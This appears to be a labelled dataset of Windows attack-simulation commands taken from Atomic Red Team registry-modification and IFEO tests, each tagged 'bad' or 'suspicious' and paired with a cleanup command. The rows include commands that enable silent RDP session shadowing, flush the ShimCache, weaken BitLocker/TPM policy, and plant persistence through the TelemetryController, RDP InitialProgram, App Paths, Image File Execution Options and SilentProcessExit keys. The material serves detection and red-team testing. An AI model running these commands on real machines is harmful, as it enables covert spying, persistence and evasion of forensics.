de3bfe26bfafa49eb1de1178,"$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom) Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=""Remote Desktop - Shadow (TCP-In)""' -CimSession $s | Invoke-CimMethod -MethodName Enable Invoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=""Software\Policies\Microsoft\Windows NT\Terminal Services""; sValueName=""shadow""; uValue=[uint32]2} -CimSession $s","$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom) Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=""Remote Desktop - Shadow (TCP-In)""' -CimSession $s | Invoke-CimMethod -MethodName Enable Invoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=""Software\Policies\Microsoft\Windows NT\Terminal Services""; sValueName=""shadow""; uValue=[uint32]2} -CimSession $s",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Setting Shadow key in Registry for RDP Shadowing,T1112,"[""T1112""]",windows,0.9,False,"Microsoft Remote Desktop Protocol (RDP) supports a “shadowing” feature and RDP is available in all Windows Server Operating Systems and the business editions of end-user Windows versions.
In order to use the RDP shadowing feature, the Remote Desktop Services (TermService) service needs to be running (which it does by default), a rule needs to be enabled in the Windows Firewall and in case of stealth reasons, a setting needs to be configured to not prompt the user for permission when they are bei",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c956eed9d46100479bb4c14b,"Invoke-CimMethod -ClassName StdRegProv -MethodName DeleteValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=""Software\Policies\Microsoft\Windows NT\Terminal Services""; sValueName=""Shadow""} -CimSession $s","Invoke-CimMethod -ClassName StdRegProv -MethodName DeleteValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=""Software\Policies\Microsoft\Windows NT\Terminal Services""; sValueName=""Shadow""} -CimSession $s",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Setting Shadow key in Registry for RDP Shadowing,T1112,"[""T1112""]",windows,0.55,True,"Microsoft Remote Desktop Protocol (RDP) supports a “shadowing” feature and RDP is available in all Windows Server Operating Systems and the business editions of end-user Windows versions.
In order to use the RDP shadowing feature, the Remote Desktop Services (TermService) service needs to be running (which it does by default), a rule needs to be enabled in the Windows Firewall and in case of stealth reasons, a setting needs to be configured to not prompt the user for permission when they are bei",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0e00c5a8048d115b8dde8e3,"Rundll32.exe apphelp.dll,ShimFlushCache","Rundll32.exe apphelp.dll,ShimFlushCache",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Flush Shimcache,T1112,"[""T1112""]",windows,0.9,False,"The ShimCache is a component in Windows operating systems that stores information about recently executed applications. It is used by the operating system to speed up the launching process of applications. The ShimCache is also used by IR teams and Forensic teams. Forensic investigators can use the ShimCache to determine which programs have been executed on a system, even if they have been deleted or their logs have been cleared.Reference : https://blueteamops.medium.com/shimcache-flush-89daff28",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd30f6e5ddca9b44e87ebd40,"reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /t REG_DWORD /d 1 /f","reg add ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Remote Desktop Protocol,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the machine to disable remote desktop protocol.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c36ef5efb45e9a017835e92,"reg delete ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /f","reg delete ""HKLM\System\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Remote Desktop Protocol,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the machine to disable remote desktop protocol.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0caf91bfb6154565acace956,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v scforceoption /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v scforceoption /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enforce Smart Card Authentication Through Registry,T1112,"[""T1112""]",windows,0.9,False,"Enforce Smart Card Authentication Through Registry
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16fd1a50eed4fdf573326c0d,"reg delete ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v scforceoption /f","reg delete ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v scforceoption /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Enforce Smart Card Authentication Through Registry,T1112,"[""T1112""]",windows,0.55,True,"Enforce Smart Card Authentication Through Registry
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
742fae54630895606e5106fc,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseAdvancedStartup /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseAdvancedStartup /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Requires the BitLocker PIN for Pre-boot authentication,T1112,"[""T1112""]",windows,0.9,False,"Requires the BitLocker PIN for Pre-boot authentication
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3350391d3709569273f7680f,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseAdvancedStartup /f","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseAdvancedStartup /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Requires the BitLocker PIN for Pre-boot authentication,T1112,"[""T1112""]",windows,0.55,True,"Requires the BitLocker PIN for Pre-boot authentication
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
913f212cebc4005a548651a6,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify EnableBDEWithNoTPM Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Allow BitLocker without a compatible TPM (requires a password)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
989a6455e92136a347b4f87b,"reg delete """"HKLM\SOFTWARE\Policies\Microsoft\FVE"""" /v EnableBDEWithNoTPM /f","reg delete """"HKLM\SOFTWARE\Policies\Microsoft\FVE"""" /v EnableBDEWithNoTPM /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify EnableBDEWithNoTPM Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Allow BitLocker without a compatible TPM (requires a password)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b0820b8965c19bc529a85326,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPM /t REG_DWORD /d 2 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPM /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPM Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Use Trusted Platform Module (TPM) for Bitlocker tool
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d784fc2f8c891557389c218a,"reg delete """"HKLM\SOFTWARE\Policies\Microsoft\FVE"""" /v UseTPM /f","reg delete """"HKLM\SOFTWARE\Policies\Microsoft\FVE"""" /v UseTPM /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPM Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Use Trusted Platform Module (TPM) for Bitlocker tool
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0055bc5406d059f9a437958,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMPIN /t REG_DWORD /d 2 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMPIN /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPMPIN Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Allow startup PIN with TPM for Bitlocker tool
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9272da899a1b92b478fe7854,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMPIN /f","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMPIN /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPMPIN Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Allow startup PIN with TPM for Bitlocker tool
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e369bd063e50d848255e21e,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKey /t REG_DWORD /d 2 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKey /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPMKey Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Allow startup key with TPM for Bitlocker tool
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ef745142a287fc3859a2a93,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKey /f","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKey /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPMKey Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Allow startup key with TPM for Bitlocker tool
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71abc1a718c37a9c919d1a7e,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPMKeyPIN Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Allow startup key and PIN with TPM for Bitlocker tool
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fd1a1cbbd6730019e3962253,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKeyPIN /f","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPMKeyPIN /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UseTPMKeyPIN Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Allow startup key and PIN with TPM for Bitlocker tool
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e7e50789c51a7cf3a5a0c11,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableNonTPM /t REG_DWORD /d 1 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableNonTPM /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify EnableNonTPM Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Allow Bitlocker without TPM for Bitlocker tool
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eae278dd25555e3bb9f5348c,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableNonTPM /f","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableNonTPM /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify EnableNonTPM Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Allow Bitlocker without TPM for Bitlocker tool
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5a6874f577e327d04a4a3cf4,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UsePartialEncryptionKey Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Allow startup key with TPM for Bitlocker tool
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0be9887edea3b58fac47aba,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePartialEncryptionKey /f","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePartialEncryptionKey /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UsePartialEncryptionKey Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Allow startup key with TPM for Bitlocker tool
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a65af8f5abbaf729f009ed90,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePIN /t REG_DWORD /d 2 /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePIN /t REG_DWORD /d 2 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UsePIN Registry entry,T1112,"[""T1112""]",windows,0.9,False,"Allow startup PIN with TPM for Bitlocker tool
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cae55cb94d204854bb00e26c,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePIN /f","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UsePIN /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify UsePIN Registry entry,T1112,"[""T1112""]",windows,0.55,True,"Allow startup PIN with TPM for Bitlocker tool
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9b28dce32345760479f73d8,"reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}"" /t REG_SZ /v Command /d #{new_executable} /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}"" /t REG_SZ /v Command /d #{new_executable} /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing Windows TelemetryController Registry Key for Persistence,T1112,"[""T1112""]",windows,0.9,False,"The Windows Compatibility Telemetry system makes use of the CompatTelRunner.exe binary to run a variety of telemetry tasks. It relies on the registry for instructions on which commands to run. 
It will run any arbitrary command without restriction of location or type. Blog :https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
87d1ff66da5ff0bf5dbefb74,"reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}"" /f","reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing Windows TelemetryController Registry Key for Persistence,T1112,"[""T1112""]",windows,0.55,True,"The Windows Compatibility Telemetry system makes use of the CompatTelRunner.exe binary to run a variety of telemetry tasks. It relies on the registry for instructions on which commands to run. 
It will run any arbitrary command without restriction of location or type. Blog :https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
956141042ab689519c971c58,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v fInheritInitialProgram /t REG_DWORD /d 1 /f reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v InitialProgram /t REG_SZ /d ""C:\Windows\System32\notepad.exe"" /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v fInheritInitialProgram /t REG_DWORD /d 1 /f reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v InitialProgram /t REG_SZ /d ""C:\Windows\System32\notepad.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify RDP-Tcp Initial Program Registry Entry,T1112,"[""T1112""]",windows,0.9,False,"If the fInheritInitialProgram value is set to 1, the exe indicated in the InitialProgram value is automatically started on RDP connection.
Once the test commands are run, notepad will execute automatically on new RDP connection
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70a4eefef07197698dfa48ac,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v InitialProgram /t REG_SZ /d """" /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" /v InitialProgram /t REG_SZ /d """" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify RDP-Tcp Initial Program Registry Entry,T1112,"[""T1112""]",windows,0.55,True,"If the fInheritInitialProgram value is set to 1, the exe indicated in the InitialProgram value is automatically started on RDP connection.
Once the test commands are run, notepad will execute automatically on new RDP connection
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b42150021561a43bbcce015d,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\notepad.exe"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\notepad.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing MyComputer Disk Cleanup Path for Persistence,T1112,"[""T1112""]",windows,0.9,False,"Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5332e86f5598ea04b6544d71,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath"" /t REG_EXPAND_SZ /d ""%SystemRoot%\System32\cleanmgr.exe /D %c"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath"" /t REG_EXPAND_SZ /d ""%SystemRoot%\System32\cleanmgr.exe /D %c"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing MyComputer Disk Cleanup Path for Persistence,T1112,"[""T1112""]",windows,0.55,True,"Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
19125bafd1b8fd4601193ef1,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\notepad.exe"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\notepad.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing MyComputer Disk Fragmentation Path for Persistence,T1112,"[""T1112""]",windows,0.9,False,"Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
519f41568cccf48a13f33689,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\dfrgui.exe"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\dfrgui.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing MyComputer Disk Fragmentation Path for Persistence,T1112,"[""T1112""]",windows,0.55,True,"Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0657241e5f3b10e3ed1430ff,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\notepad.exe"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath"" /t REG_EXPAND_SZ /d ""%systemroot%\system32\notepad.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing MyComputer Disk Backup Path for Persistence,T1112,"[""T1112""]",windows,0.9,False,"Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b5c7e72c033d32352b2d1654,"reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath"" /t REG_EXPAND_SZ /d ""%SystemRoot%\system32\sdclt.exe"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath"" /t REG_EXPAND_SZ /d ""%SystemRoot%\system32\sdclt.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Abusing MyComputer Disk Backup Path for Persistence,T1112,"[""T1112""]",windows,0.55,True,"Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4126db34657c3d79aca7731b,"reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}"" /t REG_SZ /d #{new_path} /f","reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}"" /t REG_SZ /d #{new_path} /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Adding custom paths for application execution,T1112,"[""T1112""]",windows,0.9,False,"As per Microsoft,the entries found under App Paths are used primarily to map an application’s executable file name to that file’s fully qualified path and to pre-pend information to the PATH environment variable on a per-application, per-process basis. 
The path can be modified to load a custom application of choice. 
Post the registry changes of this test, when someone tries to manually run msedge.exe via StartMenu/Run window , notepad will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb77b0e3092165dcd24235b8,"reg delete ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}"" /v (Default) /f reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}"" /t REG_SZ /d ""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"" /f","reg delete ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}"" /v (Default) /f reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}"" /t REG_SZ /d ""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Adding custom paths for application execution,T1112,"[""T1112""]",windows,0.55,True,"As per Microsoft,the entries found under App Paths are used primarily to map an application’s executable file name to that file’s fully qualified path and to pre-pend information to the PATH environment variable on a per-application, per-process basis. 
The path can be modified to load a custom application of choice. 
Post the registry changes of this test, when someone tries to manually run msedge.exe via StartMenu/Run window , notepad will be launched.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c36254b03cecc1ecd2ca4dc,"REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v Debugger /d ""#{payload_binary}""","REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v Debugger /d ""#{payload_binary}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.012/T1546.012.yaml,IFEO Add Debugger,T1546.012,"[""T1546.012""]",windows,0.9,False,"Leverage Global Flags Settings
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
db4df29dad30c3e491ed1d85,"reg delete ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v Debugger /f >nul 2>&1","reg delete ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v Debugger /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.012/T1546.012.yaml,IFEO Add Debugger,T1546.012,"[""T1546.012""]",windows,0.55,True,"Leverage Global Flags Settings
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c309285193701b2c36b24e1e,"REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v GlobalFlag /t REG_DWORD /d 512 REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v ReportingMode /t REG_DWORD /d 1 REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v MonitorProcess /d ""#{payload_binary}""","REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}"" /v GlobalFlag /t REG_DWORD /d 512 REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v ReportingMode /t REG_DWORD /d 1 REG ADD ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"" /v MonitorProcess /d ""#{payload_binary}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.012/T1546.012.yaml,IFEO Global Flags,T1546.012,"[""T1546.012""]",windows,0.9,False,"Leverage Global Flags Settings
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
